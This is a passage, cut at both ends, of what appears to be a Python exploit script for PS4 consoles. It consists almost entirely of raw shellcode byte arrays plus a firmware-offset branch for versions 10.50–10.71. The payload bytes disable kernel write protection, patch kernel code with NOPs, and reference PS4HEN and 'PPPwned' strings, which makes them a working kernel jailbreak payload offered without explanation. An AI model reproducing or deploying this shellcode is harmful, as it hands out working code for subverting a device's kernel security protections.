,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,148,182,22,0,180,148,133,0,242,133,138,0,148,128,160,0,194,182,22,0,76,126,36,0,226,148,133,0,194,128,160,0,32,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,120,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,112,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,88,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw in ('1050', '1070', '1071'):
        offs = OffsetsFirmware_1050_1071()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,80,183,17,1,72,137,70,48,72,139,130,48,128,191,1,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,3,52,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,48,159,38,2,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,16,115,71,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,0,40,16,1,72,137,5,156,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,3,116,13,0,144,144,198,134,5,116,13,0,144,102,199,134,14,115,13,0,144,144,198,134,16,115,13,0,144,102,199,134,175,120,13,0,144,144,198,134,177,120,13,0,144,72,139,5,65,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,247,115,13,0,144,144,102,199,134,2,115,13,0,144,144,102,199,134,163,120,13,0,144,144,102,199,134,224,120,13,0,144,144,102,65,199,132,36,4,94,52,0,144,144,65,198,132,36,44,138,66,0,7,65,198,132,36,52,138,66,0,7,65,199,132,36,19,48,33,0,144,144,144,144,102,65,199,132,36,23,48,33,0,144,144,65,199,132,36,35,48,33,0,144,144,144,144,102,65,199,132,36,39,48,33,0,144,144,102,65,199,132,36,67,48,33,0,144,233,72,137,152,24,2,0,0,72,141,29,13,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,68,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,192,95,71,0,72,141,154,48,96,71,0,243,164,72,141,53,40,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,120,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,140,253,255,255,76,137,255,73,137,198,255,211,76,99,5,51,9,0,0,76,137,241,76,137,234,80,76,141,13,69,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,165,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,108,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,86,252,255,255,137,195,133,192,117,51,76,141,37,133,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,57,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,35,252,255,255,137,195,133,192,116,98,72,139,5,40,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,235,47,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,32,99,71,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,208,98,71,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,16,105,71,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,48,254,165,1,186,2,0,0,0,72,129,195,32,225,54,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,160,68,66,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,144,147,71,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,128,97,71,0,76,141,171,240,97,71,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,208,116,71,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,128,97,71,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,208,141,71,0,72,129,195,240,97,71,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,229,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,176,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,131,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,95,3,0,0,133,192,117,71,72,139,65,32,72,141,136,144,63,1,0,72,141,144,112,63,1,0,72,137,76,36,104,72,141,136,176,67,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,224,132,51,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,48,254,165,1,72,141,133,224,226,54,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,144,39,0,0,0,116,24,80,255,21,135,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,32,205,178,1,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,48,109,4,0,72,141,168,72,110,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,160,188,163,1,0,0,0,0,49,246,102,199,131,136,48,33,0,235,76,72,137,239,102,199,131,96,171,45,0,49,192,186,0,64,0,0,198,131,98,171,45,0,195,198,131,42,196,25,0,55,198,131,45,196,25,0,55,199,131,191,193,8,0,184,0,0,0,198,131,195,193,8,0,0,198,131,44,138,66,0,7,198,131,52,138,66,0,7,102,199,131,183,117,13,0,144,144,102,199,131,195,117,13,0,144,144,198,131,197,117,13,0,144,102,199,131,194,116,13,0,144,144,102,199,131,206,116,13,0,144,144,198,131,208,116,13,0,144,102,199,131,99,122,13,0,144,144,102,199,131,111,122,13,0,144,144,198,131,113,122,13,0,144,102,199,131,160,122,13,0,144,144,198,131,125,115,13,0,235,199,131,157,78,66,0,144,144,144,144,102,199,131,161,78,66,0,144,144,199,131,113,83,66,0,233,124,2,0,198,131,117,83,66,0,0,199,131,124,238,8,0,72,49,192,144,198,131,128,238,8,0,144,199,131,166,63,48,0,144,144,144,144,102,199,131,170,63,48,0,144,144,199,131,236,178,71,0,144,144,144,144,102,199,131,240,178,71,0,144,144,102,199,131,0,76,108,0,49,192,198,131,2,76,108,0,195,102,199,131,48,233,100,0,176,1,198,131,50,233,100,0,195,102,199,131,96,233,100,0,176,1,198,131,98,233,100,0,195,102,199,131,103,15,69,0,235,59,199,131,199,130,45,0,144,144,144,144,102,199,131,203,130,45,0,144,144,199,131,199,158,36,0,144,144,144,144,102,199,131,203,158,36,0,144,144,102,199,131,130,120,13,0,144,144,102,199,131,145,120,13,0,144,144,199,131,168,109,78,0,0,0,0,0,199,131,110,126,78,0,0,0,0,0,255,21,71,37,0,0,76,137,234,76,137,230,72,137,239,255,21,48,37,0,0,198,131,55,111,4,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,55,111,4,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,98,34,0,0,72,137,229,49,192,72,137,239,255,21,160,36,0,0,72,137,238,191,222,0,0,0,255,21,138,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,17,34,0,0,72,137,68,36,8,49,192,255,21,116,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,80,36,0,0,68,139,32,76,141,45,221,33,0,0,76,137,239,72,141,45,233,33,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,213,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,130,33,0,0,72,131,236,16,72,199,5,142,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,103,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,103,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,80,35,0,0,72,141,53,99,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,49,35,0,0,72,141,53,84,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,74,33,0,0,255,21,1,35,0,0,72,141,21,242,34,0,0,72,141,53,78,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,209,34,0,0,72,141,53,60,33,0,0,232,10,255,255,255,137,239,93,72,141,21,179,34,0,0,72,141,53,45,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,31,33,0,0,69,49,201,80,69,49,192,255,21,161,34,0,0,89,72,141,21,121,34,0,0,137,199,72,141,53,39,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,71,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,15,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,160,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,145,32,0,0,72,139,53,26,32,0,0,76,137,247,49,210,255,21,143,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,173,31,0,0,72,139,53,238,31,0,0,76,137,247,255,21,93,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,34,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,187,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,152,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,113,31,0,0,72,141,5,202,27,0,0,72,137,132,36,144,0,0,0,72,141,5,59,27,0,0,72,137,132,36,152,0,0,0,72,141,5,172,26,0,0,72,137,132,36,160,0,0,0,72,141,5,29,26,0,0,72,137,132,36,168,0,0,0,72,141,5,142,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,174,30,0,0,49,210,72,137,239,255,21,35,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,81,30,0,0,72,139,53,138,30,0,0,72,137,239,65,137,199,255,21,246,30,0,0,69,133,255,15,133,217,1,0,0,72,139,61,150,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,5,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,168,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,252,29,0,0,49,210,72,137,239,255,21,113,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,73,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,111,24,0,0,76,137,214,76,137,215,255,21,107,29,0,0,72,139,53,180,29,0,0,72,137,239,137,68,36,16,255,21,31,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,230,29,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,75,29,0,0,49,210,72,137,239,255,21,192,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,152,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,195,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,186,28,0,0,72,139,53,3,29,0,0,72,137,239,65,137,198,255,21,111,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,108,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,84,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,59,28,0,0,72,139,61,220,28,0,0,255,21,78,29,0,0,235,16,72,139,61,205,28,0,0,69,49,228,255,21,60,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,169,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,4,29,0,0,65,137,196,72,139,5,114,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,83,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,7,28,0,0,72,141,115,12,186,32,0,0,0,255,21,88,28,0,0,72,139,5,233,27,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,93,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,167,27,0,0,49,210,72,137,239,255,21,28,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,66,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,26,27,0,0,133,192,117,3,65,137,196,72,139,53,100,27,0,0,72,137,239,255,21,211,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,157,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,85,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,57,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,16,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,133,184,100,0,41,202,137,144,193,182,100,0,72,141,21,214,254,255,255,129,234,83,198,100,0,41,202,137,144,143,196,100,0,72,141,21,73,249,255,255,129,234,186,41,98,0,41,202,137,144,246,39,98,0,72,141,21,146,253,255,255,129,234,50,104,98,0,41,202,137,144,110,102,98,0,72,141,21,17,250,255,255,68,141,130,2,166,148,255,129,234,47,92,107,0,65,41,200,41,202,68,137,128,58,88,107,0,137,144,107,90,107,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,129,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,57,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,14